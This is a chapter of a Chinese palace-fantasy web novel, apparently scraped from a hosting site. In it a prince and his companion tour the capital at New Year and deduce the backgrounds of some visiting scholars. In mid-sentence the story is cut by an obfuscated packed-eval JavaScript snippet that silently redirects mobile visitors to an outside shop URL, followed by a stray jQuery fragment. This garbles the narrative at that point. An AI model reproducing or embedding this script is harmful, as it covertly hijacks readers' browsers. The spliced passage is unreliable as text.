文趣网 > 玄幻小说 > 为帝 > 19. 闻君有两思
    大陈元日佳节,照例休沐五日。

    上下张灯结彩,一时间宫内宫外都喜气洋洋。

    下早课后,孟显允带着沈观复给皇上皇后请过安,一齐回了未济殿。

    孟显允面不改色地喝完一碗药,问他:“今年元旦你打算在宫里过,还是回沈府?”

    在宫里,那就是和孟显允一起过。

    只是如今沈观复已经住回了沈家旧宅,在宫外少点拘束,也更热闹些。

    沈观复:“殿下不能和我一起去府里过节吗?”

    沈观复突然想起元旦宫中会设宴,孟显允身为皇子必须赴宴,出不去。

    沈观复只得忍痛表忠心:“那我陪着殿下待一起。”

    沈观复明明心都已经飞了出去,却还要硬着头皮强撑,孟显允光是看着就觉得有意思。

    孟显允示意三山将书卷放回架上,道:“今日也无杂事,索性一起出宫游玩,你可愿意?”

    这话说沈观复心坎上,根本不带犹豫猛点头回应。

    三山又麻利地收走孟显允搁下来的药碗,适时确认道:“要出宫的话,殿下是派谁跟着?”

    孟显允:“一切如旧,再将乔睿与邓戚调来未济殿。”

    自秋狩结束后,乔睿和邓戚就被指到和其他一众侍卫负责皇宫的宵禁事宜。

    旁人都猜得这二人是时来运转得了贵人的青眼要往上爬了。

    三山按孟显允的意思特地送了些东西给乔睿邓戚。

    邓戚正去交班,乔睿便将孟显允送来的东西仔细清点了一番,好等会收起来。

    这是许多侍卫一生都得不到的荣宠。

    乔睿清点时发现一众赏赐礼竟还有拜师礼和一套上好的笔墨纸砚?!

    拜师礼用紫檀木盒装着,面上写着“束脩”二字,开春后,乔睿的弟弟乔晔就要挑选书院,拜师读书。

    平梁豪门贵族林立,要去好一些的书院没那么简单,一份好的拜师礼是最直白的敲门砖。

    乔睿拿起被层层包住的墨条,他嗅了嗅,有着淡淡的松油和冰片香气。

    只有陈放了七年以上的墨条才会有这样好的气味,这时候的墨条已经不单单是的书写工具,这更是药铺里昂贵的一味药材。

    乔睿母亲的药里就需要这样的上好松墨做药引。

    乔睿将墨条小心放下,士为知己者死,十一殿下值得他去卖命。

    乔睿和邓戚在皇宫宵禁的岗位上日夜轮班,等他二人连宫里有多少个狗洞都清楚了后,三山在一个明媚的冬日里再次出现在了二人面前。

    三山:“邓大人,乔大人同我一起去未济殿当差吧。”

    邓戚有些错愕,还是乔睿反应了过来。

    乔睿迅速说道:“那现下我二人便去交付班差。”

    三山心想殿下果然说得没错,乔睿要更老道些。

    想来也是家中曾有人为官的缘故?

    三山点头,再道:“稍后请两位哥哥收拾收拾,陪殿下和沈伴读一同出宫游玩,可不能有什么闪失哦。”

    邓戚乔睿面上肃然,抱拳称诺,收拾好东西随着三山一道去了未济殿。

    是时,孟显允和沈观复尚未动身。

    沈观复盯着孟显允腰间挂着的锦囊,问起稍后的安排:“殿下带够银钱了?”

    孟显允意有所指:“你又花完了?”

    小苦瓜沈观复肩膀耷拉下来:“殿下,我那是无钱可花,你可别笑话我了。”

    孟显允嘴边隐了点笑意,这事他知道。

    沈霆离京前特意选了几位亲信,让他们待在沈观复身边照料生活起居。

    沈府之中仆从百八十人半数都曾待过军营,作风严明。

    这其中以沈府的老管家朱历,资历最老地位最高。

    老管家没有后嗣,被沈霆派到沈府来照料沈观复,那真是生怕自己有一丁点做得不好,导致沈观复走歪。

    那要真这样,朱历能拿根麻绳走到漠北去上吊谢罪。

    朱历苦学孟母三迁,让沈府上上下下清一色的兵油子每天念书习字。

    府里叫苦连天,打梅花桩都没劲。

    沈观复又正是容易学坏的年纪,老管家冒着得罪人的风险,一个子儿都不给沈观复。

    朱管家哪知道呢。

    沈观复东边不亮西边亮。

    宫外找不到钱花,宫里还能傍上孟显允这座大靠山给他乘凉呢!

    孟显允:“你要是买铺子我就得打欠条。”

    沈观复“那哪能啊,够了够了!”

    沈观复乐呵呵地和孟显允出宫,路上问起:“殿下明年也要到宫外住的吧?会住在哪里?”

    孟显允由皇后抚养,在此之前一直住在宫内,现在也该出宫立府独自居住了。

    孟显允:“看样子你有想让我去的地方。”

    沈观复嘿嘿嘿笑,但不继续往下说。

    他问起这话,自然是想让孟显允住在离他近些。

    孟显允:“皇子住处均有安排,你的好地方我怕是没那个机会住了。”

    沈观复意外:“啊?这样啊,那怪没意思的,不然我也学学骑马?到时候来找殿下玩也方便点。”

    孟显允问道:“伴读大人怎么不坐轿了?”

    向来以享乐为先的沈观复连在未济殿礼都是能躺不坐,能坐不站。突然就不愿意坐轿改骑马了,这倒是稀奇事。

    沈观复抱怨:“也不知是沈府侍卫劲太大的缘故,我坐上去就一颠一颠的,头晕得很。”

    孟显允猜想那多半是沈府老管家的吩咐了。

    孟显允也不戳破,让沈观复多动动也有好处。

    孟显允语气轻松:“要不要去试试庆云楼的粉圆和腌笃鲜?”

    沈观复立即欣喜起来:“吃!”

    四时三旬,平梁十街,杏林一众盛景实是堪绝。

    成衣店、钱庄、脂粉铺、酒楼、书行各色店铺林立,来往之人络绎不绝。

    街边的摊贩卖得东西就更多更杂,吃食、用具,花卉,杂话集不一而足,摊前站立的双方都在拉扯买卖,手中比划个不停。

    已经吃着芝麻元宵的沈观复庆云楼往下看热闹:“殿下,那沙雁风筝不如我的金鱼风筝!”

    厢房里挂着的金鱼风筝,鱼尾飘逸,在光下映出漂亮的金青色,正是沈观复指着要买的。

    孟显允撑着脸,随意嗯了一声。

    见孟显允几乎都没动面前的那碗酒糟桂圆粉枣圆,沈观复疑惑着:“殿下,你怎么不吃?”

    沈观复:“桂圆红枣益气,你手老那么冰,吃些呗。”

    孟显允:“等春天就暖和了,没事,我还不饿。”

    “真的假的?”

    沈观复见孟显允真不想吃,他想,证明这话真假也简单。

    于是沈观复笑着说:“也对,春天很快就到了,到时候我就再牵殿下的手看看是不是热乎的。”

    沈观复从窗边缝隙里瞟见了几位青衣儒士,他们说说笑笑也往庆云楼上来。

    沈观复感慨:“平梁城里的读书人可真有钱,说请客便请客,来得还是这么好的酒楼,大方啊。”

    孟显允坐在同一侧,他顺着沈观复的目光看清了那几名青衣儒士,出言:

    “这不是平梁人,他们应该是南方学子,为赴明年春闱,提前动身来到平梁。”

    沈观复好奇:“殿下为何看一眼便知?他们有何不同?”

    “我也是猜的,不过也算有依据。”孟显允示意沈观复留意这几名儒士的穿着打扮。

    孟显允:“这几人的衣衫布料

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506770|202214||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    甚至乎裁剪样式都相同,应当是同窗。不过,家中光景却是不一……”

    “右者皮肤白皙,手无粗茧,他腰间系着的香囊上绣着秋桂,绣法精湛,那不是一般绣娘可以绣出来的;左边那人出身差些,束发的玉簪色有些杂,应当是且末玉锯下来的边角料,所以糖色沁不匀——这人出来前还在给家人回信。”

    沈观复:“如何得知?”

    孟显允再道:“你看他的鞋子,皂色的鞋面上有一层雾色,这并不是弄上了什么,而是因长途跋涉灰尘渗进了鞋面,拍不干净的。是刚安顿好就突然赴约,所以来不及换了。”

    “唔,”沈观复也学着看:“安顿好后,第一时间便是给在家乡的家人写平安信,殿下是看到了他右手中指上还有墨水吧。”

    “聪明。”孟显允指着另一人:“至于这中间之人,气度斐然,贵而不骄,想来今日便是他做东了。”

    “……站在中间的人不是要请客便是要被请。”沈观复斜眼觑楼下进门的书生,低声:“殿下给他那么多好词,真羡慕啊。”

    一旁的三山瞟了沈观复好几眼,心道这沈伴读怎么这么爱吃味?

    沈观复见孟显允并没有体会到他复杂的心思,只能又捡起话头道:“府中的老管家说一般的读书人都不会选择住在杏林街。”

    此地客栈的一间房可抵他处十间之价。

    沈观复:“这样看南方的税收是很大的一笔咯?”

    读书人的穿着打扮是个例,来平梁最好的酒楼里用饭也是个例。

    只是孟显允能从穿着就分辨出这些人是南方人,便证明在前些年孟显允还见过很多这样的南方人。

    出手阔绰家境自不必多说,管中窥豹也可见大陈南方赋税之丰。

    “南方两省赋税可抵北方八省。士农工商,商者三代不得从仕。”不知孟显允想到了什么,道:“他们多半是南方的世家子弟。

    孟显允:“你要是感兴趣,明年春闱放榜,正好会举行曲江宴。”

    孟显允撂了搅动浅碗的瓷勺,说:“放榜那日恰是春三月,杏花满京野,到时候带你在花萼楼选个好位置,临江而望见见状元游街的盛景。”

    进士们推杯换盏的曲江宴中隐含了诸多政治意味,孟显允和沈观复身份敏感自然不能授人以柄,只是去花萼楼看看就简单多了。

    “哇!花萼楼!”沈观复语气中满是向往。

    孟显允:“只是去看景。”

    沈观复语调低下来:“……我也没想别的。”

    街上熙熙攘攘,沈观复吃饱后想下去凑热闹。

    “我再派邓戚跟着你。”孟显允让三山将银两给邓戚,“有喜欢的东西便让邓戚给你买。”

    沈观复得了钱也不问孟显允为什么不陪他了,起身长揖:“殿下我去了!”

    沈观复下楼后,三山连忙凑了过来:“殿下,五皇子想要见你。”

    孟显允眉头都没跳一下:“他什么事?”

    孟承允其实找了孟显允几回,但孟显允懒得搭理他,没去见他。

    三山:“五皇子说,王藏没想过要推沈伴读到池子里去。”

    “……他说……是沈伴读绊了他一脚……”三山硬着头皮说,“沈伴读站在岸边不做声,见王藏淹得半死才喊的救命。”

    那事过后,王藏父亲因教子无方责令闭门思过半月。

    王藏落水一场,醒来后还有家法等着他。

    可关键是王藏不认这口锅,在家直喊冤,气得王父让人将他嘴堵上。

    沈观复离开庆云楼后钻进了热闹的人群里,就这样他也没忘了孟显允。

    沈观复顽皮地倒着步子笑着冲楼上听三山说话的孟显允招手。

    三山:“五皇子来向您诉冤……说沈伴读给王藏设套呢。”